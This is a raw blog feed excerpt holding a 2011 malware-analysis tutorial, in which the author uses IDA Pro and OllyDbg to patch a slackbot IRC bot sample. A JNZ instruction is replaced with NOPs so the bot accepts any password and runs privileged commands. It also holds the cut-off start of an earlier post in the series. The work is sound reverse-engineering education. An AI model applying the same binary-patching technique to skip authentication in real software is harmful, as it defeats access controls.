href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-begin.html"&gt;one&lt;/a&gt;, &lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-i.html"&gt;two&lt;/a&gt;, and &lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-ii.html"&gt;three&lt;/a&gt;, before moving forth with this one.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;If you recall, in the last post, we used disassembling and debugging techniques on the specimen to our utility and successfully identified the correct IRC login password.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;But is there a way to simply modify or bypass this whole password protection mechanism in the bot? If authentication process can be controlled, that'd be awesome. So, here it is; this post will show you just that.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;Objective&lt;/b&gt;: To modify the malware executable so we can control the authentication process.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;How&lt;/b&gt;: Via Patching the executable.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Patching in RE universe refer to making such modifications to a compiled specimen executable, which will change the flow of program execution.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;In our slackbot.exe specimen, we will get around with the password authentication by patching&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;JNZ instruction.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Let's commence.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We will load up unpacked malware exe in IDA and work on !@login command block, since !@login is a privileged command, i.e. requires authentication. You can locate !@login in the code by pressing Alt-T and searching for it.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Here's what the program flow looks like for the !@login block:&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-V8LejApdq3E/TjWzXH7OHpI/AAAAAAAAArI/ty3R1eynVkE/s1600/2-ida-login-pass-check-blockview.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="344" src="http://3.bp.blogspot.com/-V8LejApdq3E/TjWzXH7OHpI/AAAAAAAAArI/ty3R1eynVkE/s640/2-ida-login-pass-check-blockview.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;As you see, the top block [ Block 1 ] checks if the user entered command is &lt;b&gt;'!@login&lt;/b&gt;' or not. If it is, then the program flow moves to the left, middle block [ Block 2 ]. If it is not, then move to down, right block [ Block 3 ]. We are interested in Block 2. You see the last instruction in this code block is ---&amp;gt; &lt;b&gt;jnz short loc_40210D&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;If you've read &lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-ii.html"&gt;this&lt;/a&gt; post, you will understand that this Block 2 is the place where password authentication takes place. If the password entered by the user in the IRC channel does not match with the actual bot password, then the program execution flow jumps to memory location 40210D.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Here's the text view of the same routine:&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-h3dfagzGUbU/TjWzWW_wQgI/AAAAAAAAArE/vNy-PpnxcOc/s1600/2-ida-login-pass-check-text_view.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="234" src="http://4.bp.blogspot.com/-h3dfagzGUbU/TjWzWW_wQgI/AAAAAAAAArE/vNy-PpnxcOc/s640/2-ida-login-pass-check-text_view.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Instruction JNZ is at memory location &lt;b&gt;4020C3&lt;/b&gt;. If the strings do not match, the program takes JNZ route. If the strings do match, then '&lt;u&gt;pass accepted&lt;/u&gt;' is pushed on to the stack, and program execution continues. The user can then execute any privileged commands.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Our first attempt will be to somehow bypass this JNZ jump at 4020C3. The most easy way to do this will be to remove this instruction and replace it with NOPs [ \x90 in hex or 90 in dec ]. NOPs are No Ops, that says, do nothing and move on, to the cpu. Remember to keep the check box 'Fill with NOPs' ticked. It's the default and it replaces the original instructions with \x90.&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;No JNZ --&amp;gt; no jump --&amp;gt; 'pass accepted' --&amp;gt; privileged access.&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Open up the unpacked executable in OllyDbg, press the 'Play' button.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Next, we will find the address 4020C3 in the memory. Press &lt;u&gt;Ctrl+G&lt;/u&gt;, type 4020C3 and Ok. This will locate for us the JNZ instruction.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-XHXjtkgjnSg/TjWzT6lU0zI/AAAAAAAAArA/zy1_WPwkJ3o/s1600/CTL.G.4020C3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="379" src="http://4.bp.blogspot.com/-XHXjtkgjnSg/TjWzT6lU0zI/AAAAAAAAArA/zy1_WPwkJ3o/s640/CTL.G.4020C3.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-9DpFIDCcr1Y/TjWzSc5iinI/AAAAAAAAAq8/yH139F0K14c/s1600/CTL.G.4020C3.found.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-9DpFIDCcr1Y/TjWzSc5iinI/AAAAAAAAAq8/yH139F0K14c/s1600/CTL.G.4020C3.found.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Now press spacebar. A box will pop up and here we will enter "&lt;u&gt;NOP&lt;/u&gt;".&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Bo0dkezXnk0/TjWzRxfz9zI/AAAAAAAAAq4/Nr3iRxTt134/s1600/NOP-1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="322" src="http://4.bp.blogspot.com/-Bo0dkezXnk0/TjWzRxfz9zI/AAAAAAAAAq4/Nr3iRxTt134/s640/NOP-1.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;After this, simply 'Assemble' the modified executable.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-suS2JdT1mfA/TjWzQlZhmdI/AAAAAAAAAq0/dWmBJszexjk/s1600/NOP-2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="36" src="http://4.bp.blogspot.com/-suS2JdT1mfA/TjWzQlZhmdI/AAAAAAAAAq0/dWmBJszexjk/s640/NOP-2.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Now you will see new instructions '&lt;span class="Apple-style-span" style="color: red;"&gt;90&lt;/span&gt;' have been added on addresses 4020C3 and 4020C4. And&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;that's it.&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We have a modified bot exe, which doesn't care what password we enter.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Let's test this out in the IRC channel.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Start the IRC server on the analyst's system, connect first to the channel&amp;nbsp;&lt;i&gt;#jigyaasa&lt;/i&gt;&amp;nbsp;so as to get the OP role.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-CwV5YwsoYsM/TjWzQF9o5kI/AAAAAAAAAqw/jbkgmrXQe_U/s1600/case1-authbypass.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="378" src="http://1.bp.blogspot.com/-CwV5YwsoYsM/TjWzQF9o5kI/AAAAAAAAAqw/jbkgmrXQe_U/s640/case1-authbypass.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-ksQUHOS4wqU/TjWzKYFQevI/AAAAAAAAAqs/pEGtkyh-2jI/s1600/calc-remote-cmd-exec.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://2.bp.blogspot.com/-ksQUHOS4wqU/TjWzKYFQevI/AAAAAAAAAqs/pEGtkyh-2jI/s640/calc-remote-cmd-exec.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Voila! Even though I entered a wrong password, bot allowed me in and I can execute privileged commands such as '!@execute'.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;You can go ahead and save the modifications made into the executable.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-g0jke-lDBDQ/TjWzJLxH3tI/AAAAAAAAAqo/ofPkFLd7qcM/s1600/save-all-1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="322" src="http://1.bp.blogspot.com/-g0jke-lDBDQ/TjWzJLxH3tI/AAAAAAAAAqo/ofPkFLd7qcM/s640/save-all-1.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Ov-3bRWg3vQ/TjWzH-UmU7I/AAAAAAAAAqk/q104RxnjsWw/s1600/save-all-2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="322" src="http://3.bp.blogspot.com/-Ov-3bRWg3vQ/TjWzH-UmU7I/AAAAAAAAAqk/q104RxnjsWw/s640/save-all-2.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Rf-1I2hzVVY/TjWzGdABakI/AAAAAAAAAqg/Tahtg6PT8hs/s1600/save-all-3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="316" src="http://3.bp.blogspot.com/-Rf-1I2hzVVY/TjWzGdABakI/AAAAAAAAAqg/Tahtg6PT8hs/s640/save-all-3.JPG" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Times New Roman';"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;To conclude, we learnt how an analyst can leverage OllyDbg to patch the malware specimen, thereby, bypassing the inbuilt authentication mechanism and gaining privileged access.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;I hope these articles are useful to you. Share your comments and feedback if you liked these or if you have any questions.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3150670366652300582-3977704858164616959?l=ipositivesecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ipositivesecurity.blogspot.com/feeds/3977704858164616959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/08/analyzing-malware-patching-in-way.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/3977704858164616959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3150670366652300582/posts/default/3977704858164616959'/><link rel='alternate' type='text/html' href='http://ipositivesecurity.blogspot.com/2011/08/analyzing-malware-patching-in-way.html' title='Analyzing Malware - Patching in the way!'/><author><name>Karn Ganeshen</name><uri>http://www.blogger.com/profile/09269975282302660796</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_RGb9AAZeOfs/SdMivtAg69I/AAAAAAAAAXg/ZiAR_H0d0qU/S220/KG.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-V8LejApdq3E/TjWzXH7OHpI/AAAAAAAAArI/ty3R1eynVkE/s72-c/2-ida-login-pass-check-blockview.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3150670366652300582.post-6951963937868145978</id><published>2011-07-10T04:28:00.005+05:30</published><updated>2011-08-03T03:49:27.154+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='slackbot'/><category scheme='http://www.blogger.com/atom/ns#' term='malware code analysis tools'/><category scheme='http://www.blogger.com/atom/ns#' term='malware code analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='reversing malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware Reverse Engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='IDA Pro'/><category scheme='http://www.blogger.com/atom/ns#' term='Dissecting malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Malware analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='Ollydbg'/><category scheme='http://www.blogger.com/atom/ns#' term='bot analysis'/><title type='text'>Analyzing malware [ slackbot ] - II</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;This is in continuation with the part 1 of &lt;a href="http://ipositivesecurity.blogspot.com/2011/07/analyzing-malware-slackbot-i.html"&gt;Analyzing Malware [ slackbot ]&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Code Analysis&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;In this phase of reverse engineering malware, we will look inside the code of the specimen.&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;We will use IDA pro, a &lt;a href="http://en.wikipedia.org/wiki/Disassembler"&gt;disassembler&lt;/a&gt;, to open the &lt;a href="http://en.wikipedia.org/wiki/Malware"&gt;malware&lt;/a&gt; exe and attempt to understand the logic behind the flow of the execution. A disassembler translates &lt;a href="http://en.wikipedia.org/wiki/Machine_language"&gt;machine language&lt;/a&gt; into &lt;a href="http://en.wikipedia.org/wiki/Assembly_language"&gt;assembly language&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;You can get IDA Pro here:&amp;nbsp;&lt;a href="http://www.hex-rays.com/idapro/"&gt;http://www.hex-rays.com/idapro/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;Fire up IDA and open up the unpacked malware exe from C:\WINDOWS\.&lt;/span&gt;&lt;/div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-AbRcnGU4Z3U/ThityFmhY4I/AAAAAAAAApE/6UbQz6pcEAs/s1600/1-ida-start-1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="356" src="http://2.bp.blogspot.com/-AbRcnGU4Z3U/ThityFmhY4I/AAAAAAAAApE/6UbQz6pcEAs/s400/1-ida-start-1.JPG" width="400" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-rcHzc-53Gsg/Thitxu77y-I/AAAAAAAAApA/cqbr6nBq0pA/s1600/2-ida-open-file.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="348" src="http://2.bp.blogspot.com/-rcHzc-53Gsg/Thitxu77y-I/AAAAAAAAApA/cqbr6nBq0pA/s640/2-ida-open-file.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;Once you open up the specimen, you can see the instructions in graph view or in the text form. Press &lt;u&gt;Alt-T&lt;/u&gt; to find an&amp;nbsp;occurrence&amp;nbsp;of&amp;nbsp;&lt;b&gt;!@id&lt;/b&gt;&amp;nbsp;in the program.&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-ngZ0pYqN0jE/ThitwbzuAnI/AAAAAAAAAo8/e0I9mnuwahk/s1600/3-ida-find-id.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;span class="Apple-style-span" style="font-family: Verdana, sans-serif;"&gt;&lt;img border="0" height="328" src="http://3.bp.blogspot.com/-ngZ0pYqN0jE/ThitwbzuAnI/AAAAAAAAAo8/e0I9mnuwahk/s640/3-ida-find-id.JPG" width="640" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: 